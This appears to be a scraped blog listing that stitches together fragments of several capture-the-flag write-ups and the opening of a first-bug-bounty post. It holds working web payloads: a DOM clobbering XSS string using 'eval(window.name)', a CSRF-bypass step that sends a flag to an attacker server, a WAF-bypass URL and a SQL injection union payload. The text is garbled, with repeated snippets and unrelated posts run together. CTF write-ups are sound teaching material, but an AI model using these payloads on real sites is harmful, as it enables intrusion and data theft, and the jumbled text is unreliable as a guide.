tl;dr
- XSS using DOM Clobbering
<a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x">- Bypass CSRF protection to execute XSS and read flag.
tl;dr
<a id="showInfos"></a><a id="SETTINGS" name=check data-timezone="aaa" data-location="eval(window.name)"><a id="SETTINGS" name="x">tl;dr
sha256('')./api/flag and send it to attacker server.First of all, a big shoutout to the challenge author. All the challenges in this set are available here.
Going through the challenge source, we can see that two JavaScript files are imported.
| |
arg-1.4.js is a popular library for parsing URL parameters. And main.js has the following content.
| |
We can see that main.js uses Arg library to parse location.hash and uses URLSearchParams to parse query strings.
tl;dr
/gettoken%3fcreditcard=mmm&promocode=FREEWAF to get the token.{"name":"' union select flag, 1, 1, 1 from flag -- -", "name":"x"} to get the flag.Hello everyone, it’s been over a month I have shared something on my blog. I was busy with academic stuff and CTFs. But finally, I have decided to take some time to write a post on my first bug bounty. The bug was small and easy to exploit, however, let this be a motivation to all who haven’t yet found their first bug.
I found the bug on a jewelry website. They did not have any vulnerability disclosure programs, but I was lucky enough to get a positive response from them. It was on a fine evening, after all the “hustle and bustle” of online classes ended, I was scrolling through my Instagram feed and I noticed an advertisement for a jewelry website.